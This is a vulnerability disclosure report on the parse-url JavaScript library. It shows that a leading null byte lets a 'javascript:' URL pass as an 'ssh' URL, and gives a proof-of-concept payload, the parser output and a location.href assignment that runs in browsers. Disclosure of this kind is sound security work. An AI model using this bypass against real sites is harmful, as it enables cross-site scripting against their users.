Improper Input Validation in ionicabizau/parse-url
Reported on
Feb 24th 2022
Description
If an attacker inserts a null byte at the beginning of the javascript scheme, parse will not parse the javascript scheme properly. Therefore, all null bytes must be removed before parsing.
Proof of Concept
const parseUrl = require("parse-url")
url = parseUrl("\x00javascript:alert(document.domain)") // unreported
console.log(url)
output
{
protocols: [],
protocol: 'ssh',
port: null,
resource: '\u0000javascript',
user: '',
pathname: '/alert(document.domain)',
hash: '',
search: '',
href: '\u0000javascript:alert(document.domain)',
query: [Object: null prototype] {}
}
location.href = '\u0000javascript:alert(document.domain)'
This works fine in browsers!
References
const parser = require('url-parse');
console.log(parser("\x00javascript:alert(document.domain)"))
output
{
slashes: false,
protocol: 'javascript:',
hash: '',
query: '',
pathname: 'alert(document.domain)',
auth: '',
host: '',
port: '',
hostname: '',
password: '',
username: '',
origin: 'null',
href: 'javascript:alert(document.domain)'
}
Above is the return value of the unshiftio/url-parse module.